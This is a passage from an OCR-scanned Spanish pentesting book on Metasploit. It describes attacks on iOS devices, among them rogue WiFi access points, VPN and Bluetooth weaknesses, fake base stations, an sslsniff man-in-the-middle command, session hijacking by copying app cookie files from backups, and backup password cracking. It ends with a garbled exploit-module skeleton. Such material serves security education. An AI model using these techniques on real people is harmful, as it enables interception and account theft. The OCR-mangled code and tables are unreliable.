códigos CVE solucionados, lo que puede ayudar a preparar un determinado ataque a un pentester.
Una de las superficies de exposición comunes a iOS, Android y Windows Phone son las tiendas de
aplicaciones. En el caso de Android el número de aplicaciones maliciosas que existen es enorme,
por lo que casi no es noticia nueva. En el caso de iOS no son demasiadas las que se han encontrado,
y casi todas han sido de robo de datos.
El único ejemplo de una aplicación maliciosa instalada a través de la App Store es de Charlie
Miller. Él hizo una prueba de concepto con una aplicación llamada lnstaStock que tras pasar los
controles y estar publicada en la App Store e instalada en un dispositivo móvil, se convertía en
un dropper(módulo de infección que descarga el auténtico software malicioso) para instalar un
backdoor y controlar el teléfono remotamente.
Fig 8.1 O: !nstaStock la Prueba de Concepto de Charly Miller que se saltó el Code-Signing a través de la AppStore.
•••
Capítulo VIII. Metasploit en dispositivos móviles
Aparte de esta prueba de concepto, lo más habitual son aplicaciones que roben datos, como la
aplicación de adware Find & Cal!, que robaba las agendas de contactos para venderlas en campañas
de spam de correo electrónico y SMS. Por supuesto, hay que saltar los controles de Apple en la App
Store, pero ya hay casos en los que es posible.
En la propia Cydia, el investigador español Eagle descubrió que una de las aplicaciones que había
instalado en su terminal, y que procedía de Cydia, estaba haciendo clic-fraud a través de su terminal
móvil, algo que dejó en entredicho los controles de estas tiendas de aplicaciones para dispositivos
conjailbreak.
Existen casos de malware para equipos conjailbreak. Hay ejemplos como el gusano iKee, que se
distribuía vía OpenSSH con contraseñas por defecto (algo que es lo primero que hay que mirar en
un terminal iOS conjailbreak), o iKeyGuard, un keylogger especialmente diseñado para iOS, que
se distribuye por Internet para vigilar terminales iOS conjailbreak, en diferentes versiones y con
distintas características.
Por supuesto, adaptar malware de OSX o Linux para sistemas iOS no es tan complicado si el terminal
tiene realizado eljailbreak, así que en ataques a medida son muchas las soluciones a emplear.
Encontrar terminales conjaiblreak puede ser sencillo, sobre todo si estos utilizan las funciones que
permiten algunos programas como Installous, de compartir datos vía servidores web. Buscando en
Shodan equipos con Http cuyo banner muestre que es un iPhone es sencillo, y deja a las claras que
es un terminal iPhone conjailbreak. Este mismo truco se puede realizar en un escaneo con nmap
•••
l+il Metasploit para Pentesters
en la red de una empresa, para ver si, o bien por SSH o bien por Http, se ha introducido un iOS con
jailbreak en la organización.
La primera de las cosas que es interesante es que los dispositivos iOS informan en el campo User
Agent de la versión exacta del sistema operativo, con lo que únicamente consiguiendo que se cargue
una imagen en un correo electrónico o se visite una página web, se logra conocer la versión exacta
del sistema operativo objetivo de la acción.
�SHODAN - search
'0
Services lndex of I
HTTP 932 HT:?:.OZOOOK
Bharti Airtel Ltd.
Added on 03 1 u..2.t., ..:.. Content-Ty'P=: ta::Xt:htm!
Kumar Content-L�,tl,; 1 18
Top Countries Data: Wa!, 03 Oct 20!109:45:56 GMf
Taiwan 154 San·a-; iPhone lighttpd
Brazil 95 Conn:ction: k�-zli,·:::
En la última versión de iOS 6, el cliente Mail no carga las imágenes de ningún correo, pero permite
hacerlo caso a caso, es decir, el usuario puede elegir cargar las imágenes de un mensaje de correo en
particular escrito en HTML, pero en las versiones anteriores esto es algo que se hace a nivel global
y por defecto estaba activado, lo que ayuda a conseguir la versión exacta de iOS.
Conocida la versión, es posible intentar localizar exploits públicos para terminales iOS utilizando las
bases de datos CVE. CVE Details es una web que permite navegar por los expedientes de seguridad
de iOS que tienen un exploit públicado, lo que es de gran utilidad. En la imagen se puede ver una
clasificación de los CVE que afectan a iOS, y sólo a iOS, ordenada por año de descubrimiento y por
tipo de vulnerabilidad.
1
íd Seleccionar C:\Windows\system32\cmd.exe - ncat -1 30000 -v -k
cat: Connection fi•om 89.141.50.42_
GEI /chusta.jpg HIIP/1.1
Host: 213.97.207.42:30000
Usep-flgent: Mozilla/5.0 (iPhone; U; CPU iPJ,one OS 3_1_2 Like Mac OS X; es-es) llpplellebKit/528.1
8 <KHIML, like Gecko)
Accept: */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Connection: keep-aliue
Si se selecciona la vista de bugs con exploits públicos, se puede ver que hay bastantes exploits
disponibles para atacar a terminales iOS, y por supuesto se pueden configurar para utilizarlos en
determinados entornos .
•••
Capítulo VIII. Metasploit en dispositivos móviles
Vulnerabi\ibes (197) CVSS Seores Report &owse all versions Pgssib!e mat�s for th,s. pn;xlucí Related Metasploit Modules
�=
Re;lated OVAL Qefinitions : Vulnerabilities {17) Patches (7) Inventorv Oefinttions (O) Compliance Definitions {O)
Vulnerabjlity Feeds&.Widgets �-
2007 l
2008 ¡
1!l!!!! 27 1l! ª � I
t-
;¡
2010 32 H ]¿ j 2 :, ;¡ J J
2011 37 u 1ll. 3 11 l
91 .al! §!! B � ;; ll ª
Total 197 M il 21 Zl 1l! il n �
%0f
Ali
49.7 47.2 36.S 36.0 o.o 5.1 o.o o.o 10.7 15.7 2.0 o.o o.o
Entre ellos, hay que destacar el bug del PDF descubierto por Comex que fue utilizado, y aún está
disponible, para JailbreakMe 3. O. Hay que recordar que este bug funciona en todos los terminales
hasta versión iOS 4. 0.1. Dicho bug permite, mediante la apertura de un PDF ejecutar código arbitrario
a nivel de root en el sistema y, entre otras cosas, parchear el kernel de un terminal iOS para hacer
jailbreak. Sin embargo, es posible cambiar el payload y ejecutar una shell a través del mismo. El
investigador español José Selvi, realizó una demostración de esto con Jai!OwnMe.
CVEID CWE ;of Vutnerabílity Pubtish Update Seore Gained Access Complex Authen Confiden tntegrity Availa
IO Exploíts Type(sl Date Date Acc:ess ity tication tiality bfüty
Level
1 s;;;y1;;-201Q-;rn73 254 1 Overflow 2010- 2010- 6.9 Admin Local Medium Not Complete Complete Complete
+Priv 06-05 08·18 required
Integer overflow in IOSurf-ace in Apple iOS before 4.0.2 on the iPhone and iPod tcuch, and before 3.2.2 o n the 1Pad, al!aws local usen; to gain
privileges via vectors mvolving IOSurface properties, as demanstrated by JailbreakMe.
2 CVE-2010-1797 lli t Dos Exec 2010· 2010· - None Remote Medium Not Complete Complete Complete
=e 08-16 08·21 required
Overflow
Mem. Corr.
Multiple stack-based buffer overflows in the cff_decoder_parse_charstrings function in the CFF Type2 CharStrings interpreter in cff/cffglaad.c in
FreeType bi!fore 2.4.2, as used in Apple iOS before 4.0.2 on the iPhone anó iPod touch and before 3.2.2 o n the iPad, allow remate attackers to
execute arbitrary code ar cause a denial of service (memory COrTUptian) via crafted CFF opcodes in embedded fonts in a PDF dacument, as
demon:.trated by JailbreakMe. NOTE: sorne of these details are obtained from third party information.
3 cye -2010-1226 20 1 Dos 2010- 2010· 5.0 None Remate Law Not None None Partial
Qá.-01 04-02 required
The HTTP client funct1onafity m Apple iPhone OS 3.1 on the iPhone 2G and 3.1.3 o n the iPhone 3GS allows remate attackers to cause a denial of
service (Safari, Mail, or Springboard crash) via a crafted innerHTML property of a OIV element, related t o a ftmalformed character� issue.
4 CVE-2009-3271 2Q. t Dos 2009- 2009- 4.3 None Remate Medium Not Nane Nane Partial
09-21 09-22 requíred
Apple Safari o n 1Phone OS 3.0.l allows remote attackers to cause a denial of service (app!icaticn crash) via a long tel: URL in the SRC attribute
of an IFRAME element.
5 gJE-2009-1§99 200 1 +Info 2009- 2012- 7.1 None Remete Medium Not Complete Nene Nene
06-10 03·30 required
The XSL styfesheet implementation in WebKit in Apple Safari befare 4.0, iPhone OS 1.0 through 2.2.1, and iPhone OS for iPod touch 1.1
through 2.2.1 daes not pro�rly handle XML extemal entities, which allows remete attackers toread arbitrary files via a crafted OTO, as
demonstrated by a file:///etc/passwd URL in an entity declaration, related to an ·xxE attack.�
6 CVE-2009-1692 399 1 Dos 2009- 2012- 7.1 None Remate Medium Not None None Complete
06-19 03·30 required
WebKit before r41741, as used in Apple iPhone OS LO through 2.2.l, iPhone OS for iPod touch 1.1 through 2.2.l, Safari, and cther software,
allows remate attackers to cause a denial of service (memory consumption or device reset) via a web page containing an HTMLSelectElement
object with a large length attnbute, related to the tength property of a Select abject.
•••
Fig 8.15: Expediente CVE-2010-1797.
l+i• Metasploit para Pentesters
Otra forma de atacar a los usuarios de iOS es mediante los bugs de Mobile Safari que permiten
ocultar la barra de navegación para hacer ataques de phishing. Con SET, es posible crear diferentes
sitios falsos para, mediante enlaces trucados suplantar sitios web. En las diferentes versiones de iOS
se han ido descubriendo formas de hacer esto, por ejemplo, para iOS 5.1 se publicó el CVE-2012-
0674 que permitía con un sencillo código script ocultar la barra de navegación de Mobile Safari y
colocar en su lugar una falsa, simulando así estar situado en otro sitio web, tal y como se ve en la
imagen.
�T·Mobíle � 11:30
Untitled
. .... � · c:o . IQ
Fig 8.16: Address Bar Spoofing en iPhone.
Hay que resaltar que, aunque el número de exploits disponibles en Metasploit para iOS sea nulo, el
número de bugs que se publican en cada versión de iOS son muchos, por ejemplo, en iOS 6 se han
solucionado 197 bugs, entre los que se encuentran el CVE- 2012-3730 descubierto por Ángel Prado
para manipular los archivos adjuntos de mensajes de correo electrónico en Mail o el CVE-2012-3744
descubierto por pod2g que permite hacer SMS Spoofing en un iPhone.
En definitiva, si el objetivo es un terminal Apple con iOS, lo primero que hay que hacer es averiguar
la versión de iOS en concreto, y a continuación buscar los exploits públicos o los fallos conocidos de
esa versión para preparar un ataque a medida.
•••
Capítulo VIII. Metasploit en dispositivos móviles IM·i
en la política de gestión de redes conocidas que realiza este sistema operativo a la hora de conectarse
a una red WiFi. Por defecto, en el momento en que un terminal con sistema operativo iOS tiene
configurada como "activa" la conexión WiFi, el dispositivo intentará conectarse a una red conocida.
Este comportamiento no se puede cambiar, es decir, en el momento en que esté activada la conexión
WiFi el dispositivo buscará una red conocida y se conectará a ella. Esta política de conexión a redes
conocidas es bastante confusa y tiene unos fallos en cuanto a política que merece la pena resaltar.
Muchos usuarios confunden el selector que aparece debajo de la lista de redes WiFi con un selector
booleano de conexión automática, pero esto no es así. Este selector sólo tiene utilidad cuando no
hay una red conocida cerca, en caso de que sí hubiera dicha red, el terminal se conectaría siempre
a ella.
Preguntar al conectar
Preguntar al conectar
Sólo en el caso de que no exista una red conocida en las proximidades, el dispositivo optará por
dos políticas. La primera de ellas mostrará, mediante un cuadro de dialogo de notificación que
saldrá por encima de cualquier aplicación que esté activa en ese instante, la lista de las redes en las
proximidades, para que el usuario seleccione la que desea utilizar. En el caso de que no esté activo
ese selector, el usuario deberá situarse en el panel correspondiente a la configuración de redes WiFi,
y seleccionarla manualmente en el módulo relacionado con los ajustes.
El problema que se plantea a continuación es saber qué redes son las que un dispositivo WiFi tiene
almacenadas en un determinado instante como conocidas, ya que el sistema operativo iOS no las
muestra. Esta lista de redes se almacena un fichero en formato SQLite que se encuentra en la ruta/
privatelvar!Keychains/keychain-2.db, pero desde el interfaz gráfico es imposible consultarlo.
En dispositivos conjailbreak es posible acceder a este fichero e investigarlo para conocer la lista de
redes existentes. Además, para consultar dicha lista junto con las contraseñas de conexión es posible
utilizar alguna herramienta como WiFi Passwords.
El problema no es sólo que se conectará a una red conocida y que el usuario no sabe cuáles son
estas, sino que tampoco es posible deshacerse de las redes conocidas con facilidad, ya que iOS
sólo permite borrar una red de este tipo si está en las proximidades, en caso contrario, no es posible
eliminarlas de la lista, lo que obliga a modificar manualmente el fichero keychain-2.db. Todo esto
•••
•+ti Metasploit para Pentesters
implica que puede haber una red conocida, a la que el dispositivo fue conectado alguna vez, y la
próxima vez que la encuentre se conectará.
¿Cuál es la política de elección de red a la hora de realizar una conexión? Tras hacer múltiples
pruebas, parece que los dispositivos con iOS, en el caso de que haya más de una red WiFi conocida
en las proximidades, el terminal elije la última red a la que haya sido conectado, es decir, parecen
utilizar un sistema de elección LiFO (Last In First Out).
Dicho todo esto, para preparar un ataque de Rogue WiFi, a un atacante lo que le hace falta es saber
cómo el terminal reconoce una red WiFi, para intentar que se conecte a él mismo, y tal y cómo
funcionan, hay una ventaja que puede utilizar elpentester. Los dispositivos iOSutilizan el SSID, es
decir, el nombre de la red WiFi, y la tecnología, es decir, el protocolo de cifrado y la contraseña de
conexión para reconocer una red y conectarse a ella.
Esto es un problema serio, ya que debería utilizarse el ÉSSID (Extended SSID) para reconocer la red,
y no sólo el nombre. Este ESSID tiene la estructura de una dirección MAC, y sirve para comprobar
si se está conectando al Access Point correcto, o éste ha sido cambiado. En redes de un solo punto
de acceso, este valor es la MAC del router, pero en redes con roaming es una dirección MAC virtual
compartida por todos.
Como el terminal iOS no valida el ESSID sino el SSID, puede lograrse fácilmente que el dispositivo
se conecte a una falsa red, sólo porque tenga el mismo nombre y la misma configuración. Todo
este funcionamiento descrito puede llevar a serios riesgos de seguridad, que pueden ser dirigidos o
aleatorios, dependiendo de la estrategia del atacante.
Supongase una conferencia, un aeropuerto o cualquier lugar con concentración de personas en las
que puedan existir terminales Apple con sistema operativo iOS. Es probable que muchos de ellos
se hayan conectado alguna vez a una red WiFi abierta, llamada Default, Free o Public. Todos esos
nombres son muy comunes en espacios públicos u hoteles, por lo que es probable que muchos
usuarios tengan esa red en su lista de redes conocidas. Si no hay otra red conocida cerca, esos
dispositivos se conectarán automáticamente e intentarán enviar y recibir datos todas las aplicaciones,
que podrían ser interceptadas por el atacante que haya puesto el punto de acceso WiFi falso.
Este mismo ataque puede ser hecho de forma dirigida, por ejemplo, entre los compañeros de una
empresa, o de establecimientos, como cafeterías, restaurantes, hoteles. Supongamos un entorno en
el que todos los miembros conocen la contraseña de la red WiFi. Si uno de ellos quisiera atacar a
otro, podría replicar la red WiFi que ambos conocen en otro entorno, donde la víctima no espere que
exista esta red, haciendo que el dispositivo se conecte automáticamente a este falso punto de acceso.
Si el ataque es dirigido, utilizando los módulos de Metasploit dentro de un terminal iOS, es posible
acompañar a la víctima e ir charlando con ella mientras nuestros Rogue AP instalado en nuestro
iPhone le ofrece en todo momento la conexión a Internet al iPhone de la víctima mediante una
red WiFi Public. El terminal de la víctima se descargará el correo electrónico, los mensajes de
Whatsapp, etc... a través del Rogue AP.
•••
Capítulo VIII. Metasploit en dispositivos móviles '*il
Atacar las comunicaciones VPN de iOS
Una de las protecciones que tienen los usuarios de iPhone o iPad, es la de conectarse a Internet
por medio de una VPN, ya que así, si las comunicaciones son interceptadas, estas no podrán ser
descifradas. Sin embargo, las redes VPN en iOS pueden ser atacadas de alguna forma, tal y como se
muestra a continuación.
La segunda de las características débiles del sistema VPN de iOS es que el terminal, si pierde
conexión a través de la VPN no avisa al usuario, y continúa enviando tráfico sin cifrar, es decir, sin
utilizar la VPN. Si el objetivo está utilizando un sistema de conexión VPN robusto, como L2TP/
IPSec, entonces hay que intentar aprovechar esta circunstancia. A esta característica es posible
sacarle partido haciendo un D.O.S. al servidor VPN para que se caiga la conexión con el cliente, y
luego continuar capturando el tráfico a través del sniffer, esta vez sin cifrar.
La dirección de la tarjeta WiFi se difunde sin ningún tipo de precaución, ya que en teoría sólo sirve
para indicar la dirección del terminal. Sin embargo, la dirección BlueTooth se utiliza como validador
estático, una vez que dos dispositivos BlueTooth han sido emparejados. Por ejemplo, el terminal
iPhone y el sistema manos libres del coche.
Si el usuario ha enlazado esos dos elementos, un atacante sólo necesitaría saber cuál es la dirección
BlueTooth del iPhone para suplantarla en cualquier otro dispositivo BlueTooth y conectarse al
sistema de manos libres sin ningún tipo de código.
•••
l+i:• Metasploit para Pentesters
Modelo MC605Y
Número de serie
-
Bluetooth
IMEI
ICCID
Si el usuario ha sido suficientemente precavido de desactivar la WiFi, que hace que se ahorre
batería, que no sea posible detectarle por el espectro inalámbrico y que no se exponga su dirección
BiueTooth, lo único que se puede hacer es un ataque con una estación BTS falsa.
Este tipo de ataques está descrito correctamente en el libro de "Hacking de Comunicaciones Móviles:
GSM/EDGE/GPRS" de David y José, pero básicamente se aprovecha de que una antena de telefonía
cercana de gran potencia, puede anular a las de las operadoras de telefonía móvil cercanas y hacer
que el terminal se conecte a la antena falsa, en lugar de a la operadora real.
•••
Fig 8.20: Estructura de ataque man in the middle a comunicaciones GPRS con una BIS falsas .
Capítulo VIII. Metasploit en dispositivos móviles
A diferencia de las redes 3G, la única validación que hace el terminal a una red GPRS antes de
conectarse es la del nombre, lo que para un atacante suplantar la red de la operadora del iPhone es
tan sencillo como poner el mismo nombre. Algunos teléfonos permiten bloquear el uso de redes
GPRS, pero en el caso de iOS no hay forma de forzar el uso sólo de redes 3G, lo que siempre deja
abierta esta puerta al atacante.
Una vez que se haya conseguido la conexión a la red falsa GPRS, el atacante puede manipular
tanto el tráfico de voz como de datos, haciendo ataques de man in the middle en GRPS como de ·
suplantación de números de llamadas telefónicas.
Este tipo de botnets se aprovechan del esquema de hombre en medio para meter un payload en
todos los ficheros Javascript que carga una página web que se va a conectar a un panel de control
para recibir órdenes desde él. La víctima quedará infectada mientras que no se borre la caché del
navegador, y el atacante podrá robar las pulsaciones de teclado, hacer ataques de phishing o robar
las cookies de sesión de todo lo que pase en el navegador.
Uno de los problemas que surgen en este esquema de hombre en medio es la existencia de conexiones
web con Http-s, que puedan evitar la interceptación de todo el tráfico, ya sea para manipular ficheros
Javascript o para interceptar comunicaciones de cualquier aplicación.
Sin embargo se pueden probar dos ataques distintos: SSLStrip y SSLSniff, ambos publicados por el
investigador Moxie Malinspike. El primero de ellos es muy conocido, y su objetivo es entregar la
página en HTTP a la víctima y ser el atacante el que se conecta a la web en HTTPS. Es decir, engaña
al usuario quitando HTTPS de todas las conexiones. Si el usuario no se percata o la web está mal
diseñada es muy fácil conseguir que una víctima introduzca datos en los formularios.
El segundo de los ataques se basa en una vulnerabilidad que fue parcheada en iOS 4.3.5 con la
validación de los certificados digitales. Este bug tiene 1 O años y Apple cayó en él hasta la citada
versión. El atacante utilizará un certificado digital correcto, pero no autorizado para generar nuevos
certificados, para generar certificados digitales falsos. Si el cliente no valida las BasicConstraints, es
decir, las limitaciones que tiene el certificado utilizado, no se dará cuenta de que se está usando un
certificado digital no autorizado para generar nuevos certificados. Si el navegador de la víctima es
inferior a iOS 4.3.5, se puede utilizar SSLSnif.fpara hacer este ataque con cualquier certificado válido
•••
141'1 Metasploit para Pentesters
y no se mostrará ninguna alerta. El comando de SSLsniff que hay que utilizar para las versiones de
iOS vulnerables es:
sslsniff -a -e [path/to/your/certificate) -f ios -h [httpport) -s [sslport) -w
iphone. log
Si el terminal tiene la versión iOS 4.3.5, entonces no se pueden utilizar esos certificados, pero sí
eres capaz de conseguir los certificados falsos que el hacker iraní se creó en Diginotar para Google,
Hotmail, etcétera, podrás utilizarlos para ataques man in the middle, ya que el usuario no puede
revocar las Entidades de confianza manualmente, y fue en iOS 5 cuando Apple los revocó. Estos
circularon por zonas menos claras de Internet.
Por otro lado, si se usa un certificado falso, el navegador generará una alerta, pero esto no tiene que
ser siempre así en todas las aplicaciones. Por ejemplo, la herramienta Paypal para iOS, en el año
2011 no detectaba el uso de un certificado falso en la comunicación, y enviaba datos a través de esa
conexión, algo que tuvo que solucionar.
Fig 8.21: Los altavoces en las habitaciones de hotel son perfectos para ataques de Juice Jacking.
•••
Capítulo VIII. Metasploit en dispositivos móviles IMI
Post-Explotación: Ataque al backup de un terminal iOS
Los backups de un terminal iOS son muy jugosos desde el punto de vista de un atacante. En ellos
se encuentran no sólo datos de las aplicaciones, sino contraseñas de redes WiFi, VPN, cuentas de
correo electrónico, etcétera. El número de contraseñas almacenadas en el keychain o llavero de un
iPhone o un iPad es muy alto. En el documento publicado por Apple, titulado iOS Security Guide,
es posible ver la lista de contraseñas almacenadas en el dispositivo que estarían al descubierto si se
accediese a los datos de un backup.
ltem Accessible
Wi-Fi passwords After lirst unlock
Voicemail Always
-------------------- -----
Safari passwords When unlocked
81uet ooth keys Always, non-migratory
----------- -- --- --- - -- -
Apple Push Notification Service Token Always, non-migratory
iCloud certificates and private key Always, non-migratory
iMessage keys Always, non-migratory
Certificates and prívate keys installed by Configuration Profile Always, non-migratory
Por ejemplo, en el caso de Facebook y Linkedin, sólo hay que buscar los ficheros que se encuentran
en estas rutas, copiarlos, y pegarlos en esa misma ubicación de un dispositivo conjailbreak donde
esté instalado Facebook o Linkedin, y acceder a la cuenta del dueño del backup.
[Linkedin]/Cookies/Cookies.binarycookies
[Linkedin]/Preferences/com. linkedin.Linkedin.plist
[Facebook]/Cookies/Cookies.binarycookies
[Facebook]/Preferences/com. linkedin.Linkedin. plist
•••
•MI Metasploit para Pentesters
Estos backups se guardan por defecto en las siguientes rutas, pero hay que tener en cuenta que el
usuario puede decidir cambiar la ubicación de las mismas, lo que implicaría realizar una búsqueda
manual de dichos backups en el sistema, algo que puede ser tedioso, pero más que recomendable.
Fig 8.24: Rutas donde se almacena localmente los backups de iOS en Windows y OS X
Si el backup es de una versión hasta iOS 4.x, entonces se puede utilizar el módulo de post-explotación
de post/multi/gather/apple_ios_backupapple_ios_backup que viene en el repositorio de Metasploit.
Sin embargo, si existe un backup pero es de versión iOS 5.X entonces dará una excepción y no
extraerá ningún fichero. Para solucionarlo, se ha parcheado el módulo para que funcione también
con los backups de iOS 5, y para que esto sea así hay que descargar los ficheros del módulo adaptado
y situarlos como sigue:
Descargar apple_ios_backup.rb desde la dirección http://securitylearn.net/wp-content/
uploads/tools/msf/apple_ios_backup.rb y ponerlo en el directorio: /opt/metasploit/msf3/
modules/post/multi/gather/
Descargar apple_backup_manifestdb.rb desde la dirección http://securitylearn.net/
wp-content!uploads!tools/msf/apple_backup_manifestdb.rb y ponerlo en el directorio lopt/
metasploit/msj3/lib/rex/parser/
Cuando el módulo encuentra un backup de Apple iTunes, extrae todos los ficheros y los sitúa en la
•••
ruta -l.msf4/loot/ como ficheros de base de datos .db. Sin embargo, si el backup del usuario está
Capítulo VIII. Metasploit en dispositivos móviles ID
cifrado todos los ficheros serán volcados de manera cifrada, pór lo que si se quieren extraer los datos
primero se debe crackear el backup de iTunes.
Es por ello que si tras hacer la extracción de algunos ficheros, estos aparecen cifrados, lo mejor es
volcar el backup completo, que pude tener varios Gigabytes de tamaño, y procesarlo en local. Si
tiene contraseña de Apple iTunes, es decir, una password generada por la aplicación iTunes para la
copia de seguridad, primero habría que utilizar alguna herramienta como IG s Password Recovery
Suite. Este es un proceso lento, así que si los datos son de vital importancia es posible que sea
necesaria la ayuda de algún sistema de cracking de passwords distribuido.
Vou can find more information about this program at developer's website.
• Low leve! hand written assembler CPU optimizations with ali modern intruction sets support (AVX, XOP, AES-NI);
• Support for wide range of GPUs - NVIDIA and AMO ones¡
• WPA-PMK generator mode can be used to create precompute tables for known SSIDs mal<ing further attacks much
faster;
• Several types of attacks supported - brute-force and dictionary based enes;
• Automated password recovery with predefined/user-defined scenarios;
• User-defined sets of rules for dictionary attacks;
• Supports Unicode and ANSI dictionaries,
File: C:\Users\aramosf\AppData\Roamng\Apple
Computer\MobileSync\Backup\ 419eb31a6577339275514e9180552ce8031a2c05\Manifest.plist
Type: Apple® iOS 4.x/5.x backup
Protection: Apple iOS 4.x/5.x backup, PBKDFZ/AES
Total passwords to process: 186.843.979
Una vez que el backup esté descifrado, el siguiente paso sería averiguar el passcode del usuario
con el que están cifrados los datos del mismo. Para ello se pueden utilizar las herramientas de
iphone-dataprotection que ayudarán a crackear el passcode y a volcar el keychain del backup.
Dichas herramientas están disponibles en la siguiente dirección: http://code.google.com/p/iphone
dataprotection/
Esto también puede hacerse con herramientas comerciales como Elcomsofl Phone Password
Breaker. Con las herramientas de ElcomSofl no sólo se rompe el passcode y es posible ver todos los
ficheros del backup, sino que en la última versión, tras sacar la contraseña del Apple ID del keychain,
se conectan a Apple iCloud para analizar el backup constantemente.
•••
IMI
-
Metasploit para Pentesters
Seleet backups
��'7 3
Katalov's Pad lf'ad2,2 SN:
[ ][
[] \..i)dated: Marcti, 252012 10:24: 3 snapá,ot(s)
S1ze: ó71.8 MB
Vladimir's iPhone iPhone3 1 SN:
LOJOi, ": .......
¡_¡,da : !',ovember, 112011 08: 15; 1 snapsho s
Size: 4223.0 r.fl
Este proceso permitiría a un atacante descargar los cambios en iCloud mientras el dueño del terminal
iOS no sabe ni que ha sido vulnerado, ya que el backup se hace automáticamente en la nube y el
atacante es allí donde lo analiza.
4. Conclusiones
En este capítulo se han presentado los puntos débiles de la arquitectura de los dispositivos Apple
con sistema operativo iOS. Como se ha podido ver, Metasploit no dispone de muchas herramientas
para poder atacar estos sistemas operativos (sólo cuenta con un módulo de postexplotación para
buscar backups de iOS y no está muy perfeccionado). Además el número de exploits públicos es muy
pequeño para el sistema operativo, y no muy alto para las aplicaciones que vienen de serie.
Sin embargo, la arquitectura de este sistema operativo deja espacios de ataque a las comunicaciones
WiFi, GPRS, VPNs, BlueTooth, Mail o Sistemas SMS que, haciendo uso de los módulos de
Metasploit pueden ser atacadas desde elframework.
Por otro lado hay que tener presente que, a diferencia de Android donde no es posible instalar
Metasploit de forma nativa y hay que meter una distribución Linux en el terminal, en los equipos
iOS conjailbreak sí que se puede utilizar tanto elframework de Metasploit, como S.E.T. e incluso
Fast-Track, lo que ayudaría a un pentester a atacar las oficinas in situ.
Además, muchos usuarios de iOS realizan un proceso dejailbreak o son descuidados con el lugar en
el cual conectan sus dispositivos, por lo que es posible diseñar malware a medida o realizar ataques
de JuiceJacking.
•••
Capítulo IX Introducción al desarrollo en Metasploit lii
Capítulo IX
Introducción al desarrollo en Metasploit
La profundización sobre este tema llevaría a la realización de un libro con gran cantidad de hojas,
en las cuales se podría entrar en detalle en muchos componentes. No se pretende realizar una
explicación en detalle, y sí ayudar a que el lector se introduzca en el tema y pueda llevar a cabo sus
desarrollos. Al final las implementaciones dependerán de las ideas que el usuario tenga de lo que
quiere hacer, Metasploit pone todo lo demás.
Antes de comenzar a poder programar pequeños scripts de Meterpreter o realizar módulos de tipo
exploit o auxiliary, se recomienda tener un mínimo conocimiento del lenguaje de programación
Ruby.
La principal razón, según afirmó el equipo de Metasploit, fue que ellos disfrutaban escribiendo
código en Ruby. Estuvieron analizando otros lenguajes y experiencias que habían tenido en su vida
profesional para poder elegir con criterio objetivo, pero basado en sus expectativas y experiencias.
Ellos encontraron que Ruby les proporcionaba un lenguaje simple y potente, sencillo de aprender
e interpretado. La orientación a objetos es un hecho que encaja realmente bien con elframework.
También se indicó que la reutilización del código era un factor clave en la toma de decisión, y era
una de las cosas en la que el lenguaje Peri no se adaptaba correctamente.
Se expusieron algunas otras razones, como que por ejemplo el intérprete era totalmente compatible
de forma nativa a la plataforma Windows. Esta afirmación justifica las limitaciones de que Peri no
•••
**ª' Metasploit para Pentesters
Es cierto que el equipo de Metasploit tuvo algún debate interno, ya que Peri venía instalado en
muchas distribuciones por defecto. Esto era algo que podía darse con un punto positivo para el
lenguaje, pero el equipo decidió mantenerse firme en su decisión basándose en los puntos fuertes
deRuby.
Otra razón por la que eligió Ruby fue por el tratamiento de hilos y el modelo de subprocesamiento
existente. Con el paso del tiempo se ha podido observar que el cambio de lenguaje alframework, al
principio estaba escrito en Peri, no le ha venido nada mal.
Python también fue candidato, y quizá el que muchos usuarios pensarían que sería el elegido por
popularidad, potencial y sencillez de aprendizaje. La razón por la que la gente de Metasploit eligió
Ruby en lugar de Python fue por las restricciones a la hora de programar que tiene sintácticamente el
lenguaje. Algunos de los miembros de Metasploit entendieron que esta restricción era innecesaria,
aunque para muchos desarrolladores es algo beneficioso a la hora de programar. Otra limitación de
Python es la compatibilidad con versiones anteriores de intérpretes.
Otro lenguaje planteado al principio fue C++, pero era obvio que el intento de implementar un
framework portable en un idioma que no fuera interpretado era algo no factible.
2. Módulos
Los módulos de Metasploit son piezas fundamentales para la ejecución de herramientas y exploits
que permiten al auditor aprovecharse de fallos de seguridad. La creación de módulos lleva consigo
conocimiento sobre la estructura delframework y elementos disponibles de los que el desarrollador
puede aprovecharse para hacer más sencillo el trabajo.
Generalmente, siempre habrá al menos dos funciones definidas dentro del módulo de tipo exploit.
Estas funciones son initialize y exploit. Otra de las funciones que pueden coexistir es check, aunque
el desarrollador puede introducir el número de funciones que requiera.
Realmente un módulo de este tipo no es más que un conjunto de atributos heredados y métodos
definidos, de los cuales se debe implementar su comportamiento. La parte más compleja vendrá en
la función exploit, pero gracias a la abstracción que proporciona elframework, la generación de la
shellcode corre a cuenta de Metasploit .
•••
Capítulo IX Introducción al desarrollo en Metasploit 1§1
PoC: Esqueleto de exploit remoto
Esta prueba de concepto proporciona el esqueleto de un módulo de tipo exploit. Este módulo simula
la explotación remota de una vulnerabilidad, proporcionando un ejemplo básico dónde el nuevo
desarrollador pueda empezar y comprender. En otras palabras, la idea global del módulo es conectar
con un servidor, mediante protocolo TCP, y lanzar una shellcode hacia el servidor. Este servidor,
el cual se encuentra a la escucha en un puerto, ejecutará lo que reciba. De este modo, cuando el
servidor procese lo recibido, estará ejecutando la shellcode realmente. P or esta razón, se dice que se
simula la explotación, porque no existe vulnerabilidad como tal, pero el desarrollador obtendrá el
control remoto del equipo.
A continuación se expone el código dividido en varias partes. En primer lugar se muestra la
inicialización del módulo.
require 'msf/core'
Se puede observar como existen datos descriptivos, de referencias, de quién lo ha realizado, etcétera.
'Payload' =>
{
'Space' =>1024, #bytes máximos
'BadChars' => ª\xOO º , #bytes a evitar
},
La clave Payload indica datos sobre la generación del payload para este módulo. En este caso se
indica el espacio máximo y los badchars que deben ser evitados en la generación de la shellcode.
'DefaultOptions' =>#Opciones que vendrán cargadas por
defecto
'RPORT' =>8888,
},
'Targets' =>
[
[# Target O: Windows All
'Windows Universal',
l,
•••
Metasploit para Pentesters
l,
'DefaultTarget' => 0))
end
El campo DefaultOptions permite asignar valores por defecto a los atributos. El atributo target
permite identificar distintas versiones vulnerables al exploit, por ejemplo en Windows, con el fin
de configurar datos importantes como la dirección de retomo en función del idioma del sistema
vulnerable. RET irá en función de algunas circunstancias, por ejemplo en Windows XP.
use exploit/windows/pruebas/buffer use exploit/windows/pruebas/pablo
�> use exploit/windows/pruebas/pablo
� exploit(pablo) > show options
xp loit target:
Id Name
e Windows Universal
